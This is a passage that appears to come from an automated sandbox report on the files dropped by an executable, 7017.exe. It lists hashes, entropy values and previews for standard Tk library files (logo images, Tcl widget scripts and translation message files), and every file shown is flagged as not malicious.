(Adobe Illustrator (R) Version 5.0 Le

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\pwrdLogo100.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 64 x 100
Category:	dropped
Size (bytes):	1615
Entropy (8bit):	7.461273815456419
Encrypted:	false
SSDEEP:	48:aE45BzojC3r1WAQ+HT2gAdKhPFZ/ObchgB8:V5Gb1WN+yfcObmgW
MD5:	DBFAE61191B9FADD4041F4637963D84F
SHA1:	BD971E71AE805C2C2E51DD544D006E92363B6C0C
SHA-256:	BCC0E6458249433E8CBA6C58122B7C0EFA9557CBC8FB5F9392EED5D2579FC70B
SHA-512:	ACEAD81CC1102284ED7D9187398304F21B8287019EB98B0C4EC7398DD8B5BA8E7D19CAA891AA9E7C22017B73D734110096C8A7B41A070191223B5543C39E87AF
Malicious:	false
Preview:	GIF89a@.d.............................f.................f...ff.f3.f..33.3.........f..ff.f3.33.3.f..f..ff.ff.ffff3ff333f.3f.33.33f.3...................................................................!.. -dl-.!.......,....@.d....@.pH,..E.... ..(...H$..v..j....K....q..5L......^).3.Y7..r..u.v\|g..om...\iHl..p...`G..\~....fn[q...P.g.Z.l....y...\.l......f.Z.g...%%....e...e...)....O.f..e. ....O..qf..%..(.H.u..]..&....#4.......@.).....u!.M..2. ..PJ..#..T..a.....P.Gi... <Hb....x..z.3.X.O..f.........].Bt..lB.Q.r...9pP....&...L. ..,`[.....E6.Q.....?.#L......\|g........N....[.._........."4......b....G6.........m.zI].....I.@.......I.9...glew...2.B..c>./..2....x.....<...{...7;.....y.I.....4G.Qj0..7..%.W.V...?!..[...X..=..k.h..[Q<.....0.B....(P.x.,.......8OZ.8P!.$....u.c..Ea!..eC....CB.. .H..E..#..C..E...z..&.Nu........c.0..#.T.M.U........l.p @..s.\|..pf!..&.......8.#.8.......J>. .t..h6(........#..0.A...!..)...x..u.Z....%..H............`......\|.....1.......&.....T...f.l...

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\pwrdLogo150.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 97 x 150
Category:	dropped
Size (bytes):	2489
Entropy (8bit):	7.708754027741608
Encrypted:	false
SSDEEP:	48:/Ev7JJ+3uvz/Hwbcp7igaIwjBui7qFxIIOdJXcI+Ks:M9oWz/7pZAV7qPIImJXtXs
MD5:	711F4E22670FC5798E4F84250C0D0EAA
SHA1:	1A1582650E218B0BE6FFDEFFD64D27F4B9A9870F
SHA-256:	5FC25C30AEE76477F1C4E922931CC806823DF059525583FF5705705D9E913C1C
SHA-512:	220C36010208A87D0F674DA06D6F5B4D6101D196544ABCB4EE32378C46C781589DB1CE7C7DFE6471A8D8E388EE6A279DB237B18AF1EB9130FF9D0222578F1589
Malicious:	false
Preview:	GIF89aa...............................f.................f...ff.f3.f..33.3............f..ff.f3.33.3.f..ff.ff.ffff3ff333f.3f.33.33f.3...................................................................!.. -dl-.!.......,....a......@.pH,...r.l:..TB.T..V..z..H.j..h...&.......t"....F...d..gN~Y...g....}..r....g.....o...g.......Y.w..W......N....Z....W....f...tL.~.f....New............W.M.r.........O.q........W-./i.*...`..z..F9.../9..-.......$6..G..S...........zB.,nw.64...e4.......HOt......f.....)..OX..C.eU.(.Qh.....T..<Q.Y.P.L.YxT....2........ji..3.^)zz..O.a..6 ...TZ........^...7.....>\|P.....w$...k.ZF.\R.u....F.]Z.--(v+)[Y....=.!.W..+.]..]._.....&..../Ap...j...!..b.:...{.^.=.`...U.....@Hf..\?.(..Lq@.........0..L...a...&.!.....]#..]G \..q...A.H.X[...(.W......,...1a..B...W(.t.8.AdG.)..(P=...Uu.u..A.KM\...'r.R./.W..d2a.0..G...?...B......#H........1Q.0...R....%+...0.I..{.<......QV.tz'.yn.E.p..0i.I.g......L....%....K...A.l.ph.Q.1e...Z....g..2e...smU&d;.J..

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\pwrdLogo175.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 113 x 175
Category:	dropped
Size (bytes):	2981
Entropy (8bit):	7.758793907956808
Encrypted:	false
SSDEEP:	48:AmEwM8ioQoHJQBTThKVI7G78NLL120GFBBFXJRxlu+BmO/5lNqm7Eq:B57QoHJQt4II8BZ+jxluZO/5lNqm7Eq
MD5:	DA5FB10F4215E9A1F4B162257972F9F3
SHA1:	8DB7FB453B79B8F2B4E67AC30A4BA5B5BDDEBD3B
SHA-256:	62866E95501C436B329A15432355743C6EFD64A37CFB65BCECE465AB63ECF240
SHA-512:	990CF306F04A536E4F92257A07DA2D120877C00573BD0F7B17466D74E797D827F6C127E2BEAADB734A529254595918C3A5F54FDBD859BC325A162C8CD8F6F5BE
Malicious:	false
Preview:	GIF89aq...............................f.................f...ff.f3.f..33.3............f..ff.f3.3f.33.3.f..ff.ff.ffff3ff333f.3f.33.33f.3................................................................!.. -dl-.!.......,....q......@.pH,...r.l:....A}H...v..R......D.VF..,%M....^.....fyzU.P..f...i.....t..Uqe..N..Z..i......~....g......u.....g......\...h.....P...h.....Q..g....Z..h......]......\...M...[..s...c2.+R.$. ......#.....)v..4....MO.b.....9......[.M.........h'..<-..=.....HQD....D?.~......W7. ..V.W0..l....0p}..KP?c.\@KW.S(..M..B.....-q...S2....,..P.{....F..._MAn ....i.Y3............zh.y.j@...a876...ui.i..;K.........p...`.,}w....tv.m...Y..........;.;.e).e&.......-.NC.4..(..........F........[,w....f......E....h..a3.T.^.........)...C.N8.h\T...+&.z....g]H..B..#.t6..Z.....j.-..N......TI....A........M?..Q&V'...Mb.f.x...h.$r.U .9..Ci. ].4.Zb..@...X....%..<..b)V!........Y)x......T.....h.p.d..h..(........]@.**J.M.U.Jf...Y.:....F..g:..d..6q.-..

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\pwrdLogo200.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 130 x 200
Category:	dropped
Size (bytes):	3491
Entropy (8bit):	7.790611381196208
Encrypted:	false
SSDEEP:	96:ROGuxkQ9mcV7RXcECEtqCa+6GK8WseNXhewFIp9ZmL4u:ROGwpVOEbqCrWsUhtIk4u
MD5:	A5E4284D75C457F7A33587E7CE0D1D99
SHA1:	FA98A0FD8910DF2EFB14EDAEC038B4E391FEAB3C
SHA-256:	BAD9116386343F4A4C394BDB87146E49F674F687D52BB847BD9E8198FDA382CC
SHA-512:	4448664925D1C1D9269567905D044BBA48163745646344E08203FCEF5BA1524BA7E03A8903A53DAF7D73FE0D9D820CC9063D4DA2AA1E08EFBF58524B1D69D359
Malicious:	false
Preview:	GIF89a................................f.................f...ff.f3.f..33.3............f..ff.3f.33.3.f..ff.ff.ffff3ff333f.3f.33.33f.3...................................................................!.. -dl-.!.......,...........@.pH,...r.l:..T..F$XIe..V$.x..V.Z.z..F.pxd~..........{....o....l..{.b...hi[}P.k...y.....y.f.._R.\...............m.....y.....x......^.Q...j.....\S.....^.......l......]...[.......).....{....7...`..<...`..">..i.?/..@............>..Z.z@....0B..r...j.V.I.@..;%R......J.p.A.t...$A...>`.....@g5BP.A..p.x.............q..8...... ...(.Q..#..@...F..YSK..M..#o.....D.m..-.....k}...BT..V......'.....`.d..~;..9+..6...<b.eZ..y^0]0..I...=.6.....}.0<.Z...M...Y135.e.....b...U0F~.-.HT......l2.s.q`-....y...e....dPZ....~.zT.M.... "r.E/k. .....Lj@'........Pcd&.(..mxF_w.."K..x!..--Y`..A.....Be.jH.A..\..j.....du#.....]^...>......].i.FMO..].9n1",Y...F...EW.9.....0TY.T...Cv!i`%...Hz@.]..U.!Y...#Dv&pi.z(.mn.A....@Q.0.%...&.4.v.cw(.`cd'\|..M9..."...,.......

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\pwrdLogo75.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 48 x 75
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.289201491091023
Encrypted:	false
SSDEEP:	24:DOfHIzP8hqiF+oyPOmp3XHhPBlMVvG0ffWLpfc:DGoPM+o0OmZXHhOv5WRc
MD5:	7013CFC23ED23BFF3BDA4952266FA7F4
SHA1:	E5B1DED49095332236439538ECD9DD0B1FD4934B
SHA-256:	462A8FF8FD051A8100E8C6C086F497E4056ACE5B20B44791F4AAB964B010A448
SHA-512:	A887A5EC33B82E4DE412564E86632D9A984E8498F02D8FE081CC4AC091A68DF6CC1A82F4BF99906CFB6EA9D0EF47ADAC2D1B0778DCB997FB24E62FC7A6D77D41
Malicious:	false
Preview:	GIF89a0.K.............................f.................f...ff.f3.f..33.3.........f..ff.f3.3f.33.3.f..ff.ff.f3ff333f.3f.33.33f.3......................................................................!.. -dl-.!.......,....0.K....@.pH,...GD.<:..%SR.Z......<.V.$l.....z......:.. .\|v[D..f...z.W.G.Vr...NgsU.yl..qU..`.......`fe`.......Fg....(.&...g.Y.. .."..q.V.$.'.Ez.W....y...Y.U...(#Xrf.........Xux.U..........(U.4...X....G.B..t..1S...R..Y. ...l ..".>.h......,%K....A.....<s....#..8.iK.....a.y$h..DQh.PE)....6.....MyL.qzF..... ."..Y0..a......2..*t..Ma..b...M..R.....\..st..=....Q......,>s`....Qt.,..B.R.....!.$..%.....(...s...B.T...`,".h(. D....8..dC..\Q.p.......x.#A.....:..du..(D.XV......7....S.#n8a....2`...f.:G,...==(......`!..$...t....b..../N\|...f..J.x... P&.\|.d._!N...].1w.3D.0!....@o&H...N.B.J....pz8..w.i....=r.............@5.-!.......H."..[.j.AB<..p....h...V.D..6.h...ab1F.g...I !.V~.H..V.........:.G..\|c...,.....TD5..c[.W.....LC.....FJ..71[..lH.M.....8.:$......

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\images\tai-ku.gif

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	GIF image data, version 89a, 100 x 100
Category:	dropped
Size (bytes):	5473
Entropy (8bit):	7.754239979431754
Encrypted:	false
SSDEEP:	96:+EqG96vSGfyJZ26G6U1LI7nTD2enhjc+2VBnOqcUERVIim:+46KcyJI6G6uU7/LhjlkhQR7m
MD5:	048AFE69735F6974D2CA7384B879820C
SHA1:	267A9520C4390221DCE50177E789A4EBD590F484
SHA-256:	E538F8F4934CA6E1CE29416D292171F28E67DA6C72ED9D236BA42F37445EA41E
SHA-512:	201DA67A52DADA3AE7C533DE49D3C08A9465F7AA12317A0AE90A8C9C04AA69A85EC00AF2D0069023CD255DDA8768977C03C73516E4848376250E8D0D53D232CB
Malicious:	false
Preview:	GIF89ad.d...................RJJ...B99.......RBB..B11ZBB!....R991!!...)....{{B!!R)).JJ.ss.ZZ.BB.kk.RR.JJ.BB9...JJR!!.ZZ.BB.11.99.{s.sk.kc.cZ.ZR.JB.ZR.JB.JB.RJ.B9.91.B9...{.JB.91.B9.B9.1){)!.)!.9)..ZR.JB{91.cR{1).ZJ.ZJ.RB.J9.B1.B1.9).1!....{B9.{k.scc1).kZZ)!c)!.9).B1.9).9).1!.1!.1!.B).9!.9!.1..).....{.sZ1)R)!.B1.B1.ZBR!..9).ZB.9).R9.R9.1!.J1.J1.B).B).9!.9!.1..1..).....sZ.J9.ZB.cJJ!.{1!.B).9!{)..9!.J).B!.B!.9..R1).kJ)!.B1{9).R9.cB.Z9.Z9.B).Z9.B).R1.9!.R1.J).J).B!.1..9....{.s.J9.{Z.ZB.sR.kJk1!.cB.cB.R1.R).1..B!.J!.B.....R91.J1).c.kJ.J).Z1.B!.B!..9!..{R.sJ.Z9.R1{9!..s.R9.Z...J91Z9){B)...............B91..1)!..............................RJR............B)1......R19........BJ.9B..{..s{......!.......,....d.d.@............0@PHa.....p...7.8.y...C.s6Z.%Q.#s.`:B.N....4jd.K.0..\|y....F@.......1~ ......'Y.B"C&R.V.R.4$k.3...D.......EfY3..M........BDV._.....\..).]..>s..$H\%y0WL...d.......D..'..v..1Kz.Zp$;S

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\license.terms

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	5.097909341674822
Encrypted:	false
SSDEEP:	48:JlZuZcRTvy3DauG4+bHnr32s3eGw8YKxPiOXR3ojdS+mFf:JScFaz+bL3e8n3XR3ojdtOf
MD5:	C88F99DECEC11AFA967AD33D314F87FE
SHA1:	58769F631EB2C8DED0C274AB1D399085CC7AA845
SHA-256:	2CDE822B93CA16AE535C954B7DFE658B4AD10DF2A193628D1B358F1765E8B198
SHA-512:	4CD59971A2614891B2F0E24FD8A42A706AE10A2E54402D774E5DAA5F6A37DE186F1A45B1722A7C0174F9F80625B13D7C9F48FDB03A7DDBC6E6881F56537B5478
Malicious:	false
Preview:	This software is copyrighted by the Regents of the University of.California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState.Corporation, Apple Inc. and other parties. The following terms apply to.all files associated with the software unless explicitly disclaimed in.individual files...The authors hereby grant permission to use, copy, modify, distribute,.and license this software and its documentation for any purpose, provided.that existing copyright notices are retained in all copies and that this.notice is included verbatim in any distributions. No written agreement,.license, or royalty fee is required for any of the authorized uses..Modifications to this software may be copyrighted by their authors.and need not follow the licensing terms described here, provided that.the new terms are clearly indicated on the first page of each file where.they apply...IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY.FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQ

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\listbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14594
Entropy (8bit):	4.895853767062079
Encrypted:	false
SSDEEP:	384:ZBjtAc4YusFvbg36UFchqHjNw8wSdy+1a22YDE/q:ZFgqUBjW8RQcf
MD5:	C33963D3A512F2E728F722E584C21552
SHA1:	75499CFA62F2DA316915FADA2580122DC3318BAD
SHA-256:	39721233855E97BFA508959B6DD91E1924456E381D36FDFC845E589D82B1B0CC
SHA-512:	EA01D8CB36D446ACE31C5D7E50DFAE575576FD69FD5D413941EEBBA7CCC1075F6774AF3C69469CD7BAF6E1068AA5E5B4C560F550EDD2A8679124E48C55C8E8D7
Malicious:	false
Preview:	# listbox.tcl --.#.# This file defines the default bindings for Tk listbox widgets.# and provides procedures that help in implementing those bindings..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1995 Sun Microsystems, Inc..# Copyright (c) 1998 by Scriptics Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#--------------------------------------------------------------------------.# tk::Priv elements used in this file:.#.# afterId -..Token returned by "after" for autoscanning..# listboxPrev -.The last element to be selected or deselected.#...during a selection operation..# listboxSelection -.All of the items that were selected before the.#...current selection operation (such as a mouse.#...drag) started; used to cancel an operation..#--------------------------------------------------------------------------..#-------------------------------------

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\megawidget.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	9569
Entropy (8bit):	4.736161258754494
Encrypted:	false
SSDEEP:	192:cp4NSZKF/bcaQTViJ8pox8tJRd/v0tAANQSLkROOp+4BQjBC:jSZKF/Iaarpocdn07NQS34ao
MD5:	7176A4FE8EC3EA648854F1FC1BB2EA89
SHA1:	28D96419585881C6222BC917EDB9A5863E7C519B
SHA-256:	D454FC4E25D9DFC704556A689A17AA6F3D726F99592995952BC6492FC8F19F6E
SHA-512:	8C33E1CD3490945DDC5DA0585E655A7FC78C9950886F68C096D103AE510C1024632AB3D41E9573937BB4359D365FFB8F5A10B1CA7BFBD37442F40985107C1C8D
Malicious:	false
Preview:	# megawidget.tcl.#.#.Basic megawidget support classes. Experimental for any use other than.#.the ::tk::IconList megawdget, which is itself only designed for use in.#.the Unix file dialogs..#.# Copyright (c) 2009-2010 Donal K. Fellows.#.# See the file "license.terms" for information on usage and redistribution of.# this file, and for a DISCLAIMER OF ALL WARRANTIES..#..package require Tk 8.6...::oo::class create ::tk::Megawidget {. superclass ::oo::class. method unknown {w args} {..if {[string match .* $w]} {.. [self] create $w {}$args.. return $w..}..next $w {}$args. }. unexport new unknown. self method create {name superclasses body} {..next $name [list \...superclass ::tk::MegawidgetClass {*}$superclasses]\;$body. }.}..::oo::class create ::tk::MegawidgetClass {. variable w hull options IdleCallbacks. constructor args {..# Extract the "widget name" from the object name..set w [namespace tail [self]]...# Configure things..tclParseConfigSpec [my varname op

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\menu.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	38077
Entropy (8bit):	4.872052715667624
Encrypted:	false
SSDEEP:	768:0K5IzCPGH0a9tVbQDBTo06DpSCeihpzuxdyQYEuH9DAe1:0K5i1HDE6AWuxdRYxHS8
MD5:	181ED74919F081EEB34269500E228470
SHA1:	953EB429F6D98562468327858ED0967BDC21B5AD
SHA-256:	564AC0040176CC5744E3860ABC36B5FFBC648DA20B26A710DC3414EAE487299B
SHA-512:	220E496B464575115BAF1DEDE838E70D5DDD6D199B5B8ACC1763E66D66801021B2D7CD0E1E1846868782116AD8A1F127682073D6EACD7E73F91BCED89F620109
Malicious:	false
Preview:	# menu.tcl --.#.# This file defines the default bindings for Tk menus and menubuttons..# It also implements keyboard traversal of menus and implements a few.# other utility procedures related to menus..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 1998-1999 by Scriptics Corporation..# Copyright (c) 2007 Daniel A. Steffen <das@users.sourceforge.net>.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of tk::Priv that are used in this file:.#.# cursor -..Saves the -cursor option for the posted menubutton..# focus -..Saves the focus during a menu selection operation..#...Focus gets restored here when the menu is unposted..# grabGlobal -..Used in conjunction with tk::Priv(oldGrab): if.#...tk::Priv(oldGrab) is non-empty, then tk::Pr

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\mkpsenc.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29352
Entropy (8bit):	5.110577585375791
Encrypted:	false
SSDEEP:	768:hmie+xwcBO/SHAqFySrhkvQueYpx8DPF52qdREXXZ2/OODi:I+xwcBO/SHAqFySrhAQueYD8D95TOL
MD5:	5F3793E7E582111C17C85E23194AEFD5
SHA1:	925D973B70252384D1DE9B388C6C2038E646FDDF
SHA-256:	0AC9D11D4046EF4D8E6D219F6941BF69C6AE448C6A1C2F7FC382F84B5786F660
SHA-512:	2922546BA69232DBC205FE83EF54916E334E7AC93B7A26A208341F9C101209DA84C73F48C52BDB8E63E71A545853652B86378EBEB88F000BC16FCFB0EF5D8517
Malicious:	false
Preview:	# mkpsenc.tcl --.#.# This file generates the postscript prolog used by Tk...namespace eval ::tk {. # Creates Postscript encoding vector for ISO-8859-1 (could theoretically. # handle any 8-bit encoding, but Tk never generates characters outside. # ASCII).. #. proc CreatePostscriptEncoding {} {..variable psglyphs..# Now check for known. Even if it is known, it can be other than we..# need. GhostScript seems to be happy with such approach..set result "\[\n"..for {set i 0} {$i<256} {incr i 8} {.. for {set j 0} {$j<8} {incr j} {...set enc [encoding convertfrom "iso8859-1" \....[format %c [expr {$i+$j}]]]...catch {... set hexcode {}... set hexcode [format %04X [scan $enc %c]]...}...if {[info exists psglyphs($hexcode)]} {... append result "/$psglyphs($hexcode)"...} else {... append result "/space"...}.. }.. append result "\n"..}..append result "\]"..return $result. }.. # List of adobe glyph names. Converted from glyphlist.txt, downloaded from. # Ad

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	xbm image (32x, ASCII text
Category:	dropped
Size (bytes):	16527
Entropy (8bit):	4.679051291122852
Encrypted:	false
SSDEEP:	384:aWsDPYblrrfcRcfjAwnAVDTS3ifQjvwMXEcjY:aTRcfjAwGTfQjvPXt0
MD5:	C93F295967350F7010207874992E01A5
SHA1:	CAE8EF749F7618326B3307DA7ED6DEBB380286DD
SHA-256:	52C5B87C99C142D5FC77E0C22B78B7CD63A4861756FD6B39648A2E9A8EDDE953
SHA-512:	F7E60211C0BC1ECEDE03022D622C5B9AAEAE3C203A60B6B034E1886F857C8FAD6BA6B1F7BA1EE7D733720775E7108F1BFD4C5B54A0F4919CE4EB43851D1190F8
Malicious:	false
Preview:	# msgbox.tcl --.#.#.Implements messageboxes for platforms that do not have native.#.messagebox support..#.# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# Ensure existence of ::tk::dialog namespace.#.namespace eval ::tk::dialog {}..image create bitmap ::tk::dialog::b1 -foreground black \.-data "#define b1_width 32\n#define b1_height 32.static unsigned char q1_bits[] = {. 0x00, 0xf8, 0x1f, 0x00, 0x00, 0x07, 0xe0, 0x00, 0xc0, 0x00, 0x00, 0x03,. 0x20, 0x00, 0x00, 0x04, 0x10, 0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x10,. 0x04, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40,. 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80,. 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80,. 0x01, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40,. 0x04, 0x00, 0x00, 0x20, 0x08, 0x00,

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\cs.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4158
Entropy (8bit):	4.744283779865612
Encrypted:	false
SSDEEP:	48:RC98Kz+4GgKafRXwSl51gmJnANlsgPVG5QOFWQfl5:RC98/4PGi51gmAsgPVjm5
MD5:	EBAFA3EE899EBB06D52C204493CEE27A
SHA1:	95E6C71E4525A8DD91E488B952665AE9C5FBDDED
SHA-256:	D1B0FED0BEA51B3FAF08D8634034C7388BE7148F9B807460B7D185706DB8416F
SHA-512:	ADDE3C85A7A4148BAFD6C8B8902FC8C229F1D1AAF118BE85F44E4667237E66938864E2B7B4486B7C68C89EB4559F1D8367F9F563B9C6C8BCAB66118B36E670B8
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset cs "&Abort" "&P\u0159eru\u0161it". ::msgcat::mcset cs "&About..." "&O programu...". ::msgcat::mcset cs "All Files" "V\u0161echny soubory". ::msgcat::mcset cs "Application Error" "Chyba programu". ::msgcat::mcset cs "Bold Italic". ::msgcat::mcset cs "&Blue" "&Modr\341". ::msgcat::mcset cs "Cancel" "Zru\u0161it". ::msgcat::mcset cs "&Cancel" "&Zru\u0161it". ::msgcat::mcset cs "Cannot change to the directory \"%1\$s\".\nPermission denied." "Nemohu zm\u011bnit atku\341ln\355 adres\341\u0159 na \"%1\$s\".\nP\u0159\355stup odm\355tnut.". ::msgcat::mcset cs "Choose Directory" "V\375b\u011br adres\341\u0159e". ::msgcat::mcset cs "Cl&ear" "Sma&zat". ::msgcat::mcset cs "&Clear Console" "&Smazat konzolu". ::msgcat::mcset cs "Color" "Barva". ::msgcat::mcset cs "Console" "Konzole". ::msgcat::mcset cs "&Copy" "&Kop\355rovat". ::msgcat::mcset cs "Cu&t" "V&y\u0159\355znout". ::msgcat::mcset cs "&Delete" "&Smazat"

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\da.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3909
Entropy (8bit):	4.6030170761850915
Encrypted:	false
SSDEEP:	48:G8ONjSf5s80vWCUx5kTvgXTfODYE9lAUt:G8OmB0ZUx5kTv4sbt
MD5:	C414C6972F0AAD5DFA31297919D0587F
SHA1:	529AE0B0CB9D1DBC7F8844F346149E151DE0A36B
SHA-256:	85E6CEE6001927376725F91EAA55D17B3D9E38643E17755A42C05FE491C63BDE
SHA-512:	0F2A777B9C3D6C525097E19D1CC4525E9BAF78E0CABF54DD693C64BC1FD4EA75402D906A8302489997BA83ABA5AFD7CA1DE30FFE0888CD19950F56A9D38B018A
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset da "&Abort" "&Afbryd". ::msgcat::mcset da "&About..." "&Om...". ::msgcat::mcset da "All Files" "Alle filer". ::msgcat::mcset da "Application Error" "Programfejl". ::msgcat::mcset da "&Blue" "&Bl\u00E5". ::msgcat::mcset da "Cancel" "Annuller". ::msgcat::mcset da "&Cancel" "&Annuller". ::msgcat::mcset da "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan ikke skifte til katalog \"%1\$s\".\nIngen rettigheder.". ::msgcat::mcset da "Choose Directory" "V\u00E6lg katalog". ::msgcat::mcset da "Cl&ear" "&Ryd". ::msgcat::mcset da "&Clear Console" "&Ryd konsolen". ::msgcat::mcset da "Color" "Farve". ::msgcat::mcset da "Console" "Konsol". ::msgcat::mcset da "&Copy" "&Kopier". ::msgcat::mcset da "Cu&t" "Kli&p". ::msgcat::mcset da "&Delete" "&Slet". ::msgcat::mcset da "Details >>" "Detailer". ::msgcat::mcset da "Directory \"%1\$s\" does not exist." "Katalog \"%1\$s\" findes ikke.". ::msg

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\de.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4823
Entropy (8bit):	4.5738552657551566
Encrypted:	false
SSDEEP:	96:13LquGgagtG6vz8MFi9dDvbwKAN92qqMXg07Qt:L1/w5jwKYH1Et
MD5:	07DF877A1166E81256273F1183B5BDC9
SHA1:	CB455F910208E2E55B27A96ABD845FEEDA88711A
SHA-256:	06DD7572626DF5CB0A8D3AFFBAC9BB74CB12469076836D66FD19AE5B5FAB42C7
SHA-512:	197B09F37647D1D5130A084EA1D99D0CC16C815EC0AC31EC07875BEB2DFAE2197E2AF3E323FE8CB35F90912D76D3EB88D1E56F6E026F87AEDFADB7534BA2675A
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset de "&Abort" "&Abbruch". ::msgcat::mcset de "&About..." "&\u00dcber...". ::msgcat::mcset de "All Files" "Alle Dateien". ::msgcat::mcset de "Application Error" "Applikationsfehler". ::msgcat::mcset de "&Apply" "&Anwenden". ::msgcat::mcset de "Bold" "Fett". ::msgcat::mcset de "Bold Italic" "Fett kursiv". ::msgcat::mcset de "&Blue" "&Blau". ::msgcat::mcset de "Cancel" "Abbruch". ::msgcat::mcset de "&Cancel" "&Abbruch". ::msgcat::mcset de "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kann nicht in das Verzeichnis \"%1\$s\" wechseln.\nKeine Rechte vorhanden.". ::msgcat::mcset de "Choose Directory" "W\u00e4hle Verzeichnis". ::msgcat::mcset de "Cl&ear" "&R\u00fccksetzen". ::msgcat::mcset de "&Clear Console" "&Konsole l\u00f6schen". ::msgcat::mcset de "Color" "Farbe". ::msgcat::mcset de "Console" "Konsole". ::msgcat::mcset de "&Copy" "&Kopieren". ::msgcat::mcset de "Cu&t" "Aus&schneid

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\el.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text, with very long lines (355)
Category:	dropped
Size (bytes):	8698
Entropy (8bit):	4.296709418881547
Encrypted:	false
SSDEEP:	48:tCrF5o/cmSHbkI8+ETnFI3mC2hk9I+c6M30UPfMNDz91yBFkm5w+kGR8MOFiL0xu:wp5RmSHlsFerVIfM5Loam5VOMAkV
MD5:	C802EA5388476451CD76934417761AA6
SHA1:	25531DF6262E3B1170055735C5A874B9124FEA83
SHA-256:	1D56D0A7C07D34BB8165CBA47FA49351B8BC5A9DB244290B9601C5885D16155C
SHA-512:	251FABBE8B596C74BC1231823C60F5F99CF55A29212327723F5DBE604F678E8E464F2D604D1049754B7C02350712B83BCF4D9542D8167F3CAB9C9B7E5C88EC7D
Malicious:	false
Preview:	## Messages for the Greek (Hellenic - "el") language..## Please report any changes/suggestions to:.## petasis@iit.demokritos.gr..namespace eval ::tk {. ::msgcat::mcset el "&Abort" "\u03a4\u03b5\u03c1\u03bc\u03b1\u03c4\u03b9\u03c3\u03bc\u03cc\u03c2". ::msgcat::mcset el "About..." "\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac...". ::msgcat::mcset el "All Files" "\u038c\u03bb\u03b1 \u03c4\u03b1 \u0391\u03c1\u03c7\u03b5\u03af\u03b1". ::msgcat::mcset el "Application Error" "\u039b\u03ac\u03b8\u03bf\u03c2 \u0395\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae\u03c2". ::msgcat::mcset el "&Blue" "\u039c\u03c0\u03bb\u03b5". ::msgcat::mcset el "&Cancel" "\u0391\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7". ::msgcat::mcset el \."Cannot change to the directory \"%1\$s\".\nPermission denied." \."\u0394\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 